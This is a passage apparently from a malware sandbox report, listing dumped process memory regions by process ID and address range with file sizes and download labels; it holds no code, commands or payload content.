memory/1284-108-0x000000001B384000-0x000000001B385000-memory.dmp

Filesize
4KB

Download
memory/1468-91-0x0000000000400000-0x000000000063C000-memory.dmp

Filesize
2.2MB

Download
memory/1468-93-0x00000000003C0000-0x00000000003C1000-memory.dmp

Filesize
4KB

Download
memory/1468-89-0x0000000000400000-0x000000000063C000-memory.dmp

Filesize
2.2MB

Download
memory/1468-90-0x000000000063636E-mapping.dmp

Download
memory/1548-129-0x000000001B9A0000-0x000000001B9A2000-memory.dmp

Filesize
8KB

Download
memory/1548-124-0x000000013F740000-0x000000013F741000-memory.dmp

Filesize
4KB

Download
memory/1548-120-0x0000000000000000-mapping.dmp

Download
memory/1548-139-0x00000000023B0000-0x00000000023BA000-memory.dmp

Filesize
40KB

Download
memory/1676-59-0x0000000075971000-0x0000000075973000-memory.dmp

Filesize
8KB

Download
memory/1708-75-0x0000000000340000-0x0000000000341000-memory.dmp

Filesize
4KB

Download
memory/1708-76-0x0000000004910000-0x00000000049D7000-memory.dmp

Filesize
796KB

Download
memory/1708-70-0x0000000000C90000-0x0000000000C91000-memory.dmp

Filesize
4KB

Download
memory/1708-83-0x0000000004E80000-0x0000000004E81000-memory.dmp

Filesize
4KB

Download
memory/1708-65-0x0000000000000000-mapping.dmp

Download
memory/1756-113-0x0000000000000000-mapping.dmp

Download
memory/1760-104-0x000000013F710000-0x000000013F711000-memory.dmp

Filesize
4KB

Download
memory/1760-111-0x000000001C180000-0x000000001C39B000-memory.dmp

Filesize
2.1MB

Download
memory/1760-99-0x0000000000000000-mapping.dmp

Download
memory/1760-110-0x000000001B960000-0x000000001B962000-memory.dmp

Filesize
8KB

Download
memory/1772-115-0x0000000000000000-mapping.dmp

Download
memory/1772-118-0x000000013F5D0000-0x000000013F5D1000-memory.dmp

Filesize
4KB

Download
memory/1772-126-0x0000000000650000-0x0000000000652000-memory.dmp

Filesize
8KB

Download
memory/1772-128-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

Filesize
8KB

Download
memory/1780-69-0x0000000000000000-mapping.dmp

Download
memory/1780-73-0x00000000012C0000-0x00000000012C1000-memory.dmp

Filesize
4KB

Download
memory/1780-88-0x00000000065B0000-0x00000000067F4000-memory.dmp

Filesize
2.3MB

Download
memory/1780-87-0x0000000005E80000-0x0000000006116000-memory.dmp

Filesize
2.6MB

Download
memory/1780-131-0x0000000000000000-mapping.dmp

Download
memory/1780-82-0x0000000004D00000-0x0000000004D01000-memory.dmp

Filesize
4KB

Download
memory/1780-84-0x0000000000350000-0x0000000000352000-memory.dmp

Filesize
8KB

Download
memory/1936-141-0x00000001402EB66C-mapping.dmp

Download
memory/1936-140-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/1936-142-0x00000000002F0000-0x0000000000310000-memory.dmp

Filesize
128KB

Download
memory/1936-143-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/1936-144-0x0000000002020000-0x0000000002040000-memory.dmp

Filesize
128KB

Download
memory/1936-145-0x0000000002020000-0x0000000002040000-memory.dmp

Filesize
128KB

Download
memory/1936-146-0x00000000020D0000-0x00000000020F0000-memory.dmp

Filesize
128KB

Download
memory/1944-133-0x0000000000000000-mapping.dmp

Download
memory/1944-137-0x000000013F9B0000-0x000000013F9B1000-memory.dmp

Filesize
4KB

Download
memory/1944-148-0x0000000002450000-0x0000000002452000-memory.dmp

Filesize
8KB

Download
memory/1988-60-0x0000000000000000-mapping.dmp

Download
memory/2020-86-0x0000000001D80000-0x0000000001D81000-memory.dmp

Filesize
4KB

Download
memory/2020-77-0x0000000000000000-mapping.dmp

Download